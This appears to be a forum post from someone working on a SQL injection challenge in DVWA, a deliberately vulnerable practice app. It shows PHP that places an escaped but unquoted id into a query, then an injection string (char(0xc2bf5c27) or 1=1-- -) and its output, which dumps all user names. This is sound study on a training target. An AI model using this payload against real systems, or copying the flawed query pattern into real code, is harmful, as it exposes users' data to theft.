As I said, in DVWA (mysql 5.5):
Code behind:
$id = trim($_GET['id']);
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
Injection chain ID: 0xc2bf5c27 or 1=1-- - (i.e. ¿\' or 1=1-- -, though also works without the ' (0x27)
Results:
ID: char(0xc2bf5c27) or 1=1-- -
First name: admin
Surname: admin
ID: char(0xc2bf5c27) or 1=1-- -
First name: Gordon
Surname: Brown
ID: char(0xc2bf5c27) or 1=1-- -
First name: Hack
Surname: Me
ID: char(0xc2bf5c27) or 1=1-- -
First name: Pablo
Surname: Picasso
ID: char(0xc2bf5c27) or 1=1-- -
First name: Bob
Surname: Smith
I am a bit confused about this challenge (I also have been considering a cookie injection but..)
Thanks